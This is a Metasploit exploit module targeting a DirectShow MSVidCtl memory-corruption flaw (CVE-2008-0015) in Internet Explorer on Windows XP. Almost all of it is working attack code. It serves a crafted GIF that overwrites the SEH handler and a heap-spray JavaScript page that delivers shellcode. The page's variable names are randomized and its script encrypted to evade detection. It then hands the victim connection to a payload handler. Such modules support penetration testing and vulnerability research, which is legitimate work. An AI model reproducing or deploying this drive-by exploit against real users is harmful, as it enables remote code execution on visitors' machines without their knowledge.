##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# msvidctl_mpeg2.rb
#
# Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption exploit for the Metasploit Framework
#
# Tested successfully on the following platforms (fully patched 06/07/09):
#  - Internet Explorer 6, Windows XP SP2
#  - Internet Explorer 7, Windows XP SP3
#
# Original exploit was found in-the-wild used to preform drive-by attacks via compromised Chinese web sites.
# The original exploit can be found here (shellcode changed to execute calc.exe):
# http://www.rec-sec.com/exploits/aa.rar
#
# Trancer
# http://www.rec-sec.com
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption',
      'Description'    => %q{
          This module exploits a memory corruption within the MSVidCtl component of Microsoft
        DirectShow (BDATuner.MPEG2TuneRequest).
        By loading a specially crafted GIF file, an attacker can overrun a buffer and
        execute arbitrary code.

        ClassID is now configurable via an advanced option (otherwise randomized) - I)ruid
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ],
      'References'     =>
        [
          [ 'CVE', '2008-0015' ],
          [ 'OSVDB', '55651' ],
          [ 'BID', '35558' ],
          [ 'MSB', 'MS09-032' ],
          [ 'MSB', 'MS09-037' ],
          [ 'URL', 'http://www.microsoft.com/technet/security/advisory/972890.mspx' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]
        ],
      'DisclosureDate' => 'Jul 05 2009',
      'DefaultTarget'  => 0))

    register_advanced_options(
      [
        OptString.new('ClassID', [ false, "Specific ClassID to use (otherwise randomized)", nil ]),
      ])

    @javascript_encode_key = rand_text_alpha(rand(10) + 10)
  end

  def get_srvhost
    # If the SRVHOST isn't the default 0.0.0.0, obviously the user wants to
    # specify, so we will not force source_address()
    return datastore['SRVHOST'] if datastore['SRVHOST'] != '0.0.0.0'
    Rex::Socket.source_address(cli.peerhost)
  end

  def on_request_uri(cli, request)

    if (request.uri.match(/\.gif$/i))

      print_status("Sending GIF")

      gif =  "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      gif << "\xFF\xFF\xFF\xFF"	# End of SEH chain
      gif << [target.ret].pack('V')	# SE Handler
      gif << "\x00"

      send_response(cli, gif, { 'Content-Type' => 'image/gif' })

      return
    end

    if (!request.uri.match(/\?\w+/))
      send_local_redirect(cli, "?#{@javascript_encode_key}")
      return
    end

    print_status("Sending HTML")

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Class IDs
    allclsids = [ # all IDs from the advisory
      "011B3619-FE63-4814-8A84-15A194CE9CE3", # doesn't work
      "0149EEDF-D08F-4142-8D73-D23903D21E90", # doesn't work
      "0369B4E5-45B6-11D3-B650-00C04F79498E", # works
      "0369B4E6-45B6-11D3-B650-00C04F79498E", # works
      "055CB2D7-2969-45CD-914B-76890722F112", # works
      "0955AC62-BF2E-4CBA-A2B9-A63F772D46CF", # works
      "15D6504A-5494-499C-886C-973C9E53B9F1", # works
      "1BE49F30-0E1B-11D3-9D8E-00C04F72D980", # doesn't work
      "1C15D484-911D-11D2-B632-00C04F79498E", # doesn't work
      "1DF7D126-4050-47F0-A7CF-4C4CA9241333", # doesn't work
      "2C63E4EB-4CEA-41B8-919C-E947EA19A77C", # doesn't work
      "334125C0-77E5-11D3-B653-00C04F79498E", # doesn't work
      "37B0353C-A4C8-11D2-B634-00C04F79498E", # doesn't work
      "37B03543-A4C8-11D2-B634-00C04F79498E", # doesn't work
      "37B03544-A4C8-11D2-B634-00C04F79498E", # doesn't work
      "418008F3-CF67-4668-9628-10DC52BE1D08", # doesn't work
      "4A5869CF-929D-4040-AE03-FCAFC5B9CD42", # doesn't work
      "577FAA18-4518-445E-8F70-1473F8CF4BA4", # doesn't work
      "59DC47A8-116C-11D3-9D8E-00C04F72D980", # works
      "7F9CB14D-48E4-43B6-9346-1AEBC39C64D3", # doesn't work
      "823535A0-0318-11D3-9D8E-00C04F72D980", # doesn't work
      "8872FF1B-98FA-4D7A-8D93-C9F1055F85BB", # doesn't work
      "8A674B4C-1F63-11D3-B64C-00C04F79498E", # works
      "8A674B4D-1F63-11D3-B64C-00C04F79498E", # works
      "9CD64701-BDF3-4D14-8E03-F12983D86664", # doesn't work
      "9E77AAC4-35E5-42A1-BDC2-8F3FF399847C", # doesn't work
      "A1A2B1C4-0E3A-11D3-9D8E-00C04F72D980", # doesn't work
      "A2E3074E-6C3D-11D3-B653-00C04F79498E", # doesn't work
      "A2E30750-6C3D-11D3-B653-00C04F79498E", # works
      "A8DCF3D5-0780-4EF4-8A83-2CFFAACB8ACE", # doesn't work
      "AD8E510D-217F-409B-8076-29C5E73B98E8", # doesn't work
      "B0EDF163-910A-11D2-B632-00C04F79498E", # doesn't work
      "B64016F3-C9A2-4066-96F0-BD9563314726", # works
      "BB530C63-D9DF-4B49-9439-63453962E598", # doesn't work
      "C531D9FD-9685-4028-8B68-6E1232079F1E", # doesn't work
      "C5702CCC-9B79-11D3-B654-00C04F79498E", # doesn't work
      "C5702CCD-9B79-11D3-B654-00C04F79498E", # doesn't work
      "C5702CCE-9B79-11D3-B654-00C04F79498E", # doesn't work
      "C5702CCF-9B79-11D3-B654-00C04F79498E", # doesn't work
      "C5702CD0-9B79-11D3-B654-00C04F79498E", # doesn't work
      "C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7", # works
      "CAAFDD83-CEFC-4E3D-BA03-175F17A24F91", # doesn't work
      "D02AAC50-027E-11D3-9D8E-00C04F72D980", # doesn't work
      "F9769A06-7ACA-4E39-9CFB-97BB35F0E77E", # works
      "FA7C375B-66A7-4280-879D-FD459C84BB02", # doesn't work
    ]
    clsids = [ # these all work
      "0369B4E5-45B6-11D3-B650-00C04F79498E", # works
      "0369B4E6-45B6-11D3-B650-00C04F79498E", # works
      "055CB2D7-2969-45CD-914B-76890722F112", # works
      "0955AC62-BF2E-4CBA-A2B9-A63F772D46CF", # works
      "15D6504A-5494-499C-886C-973C9E53B9F1", # works
      "59DC47A8-116C-11D3-9D8E-00C04F72D980", # works
      "8A674B4C-1F63-11D3-B64C-00C04F79498E", # works
      "8A674B4D-1F63-11D3-B64C-00C04F79498E", # works
      "A2E30750-6C3D-11D3-B653-00C04F79498E", # works
      "B64016F3-C9A2-4066-96F0-BD9563314726", # works
      "C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7", # works
      "F9769A06-7ACA-4E39-9CFB-97BB35F0E77E", # works
    ]
    classid = datastore['ClassID'] || clsids[rand(clsids.size)]

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
    blocksize = 0x40000
    fillto    = 500

    # Randomize the javascript variable names
    msvidctl     = rand_text_alpha(rand(100) + 1)
    div	     = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)

    host = get_srvhost + ":" + (datastore["SRVPORT"].to_s)
    gif_uri = "http#{(datastore['SSL'] ? 's' : '')}://#{host}"
    if ("/" == get_resource[-1,1])
      gif_uri << get_resource[0, get_resource.length - 1]
    else
      gif_uri << get_resource
    end
    gif_uri << "/" + Time.now.to_i.to_s + ".gif"

    js = %Q|#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{msvidctl}=document.createElement('object');
#{div}.appendChild(#{msvidctl});
#{msvidctl}.width='1';
#{msvidctl}.height='1';
#{msvidctl}.data='#{gif_uri}';
#{msvidctl}.classid='clsid:#{classid}';|

    js_encoded = encrypt_js(js, @javascript_encode_key)

    html = %Q|<html>
<body>
<div id="#{div}">
<script>
#{js_encoded}
</script>
</body>
</html>|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end
end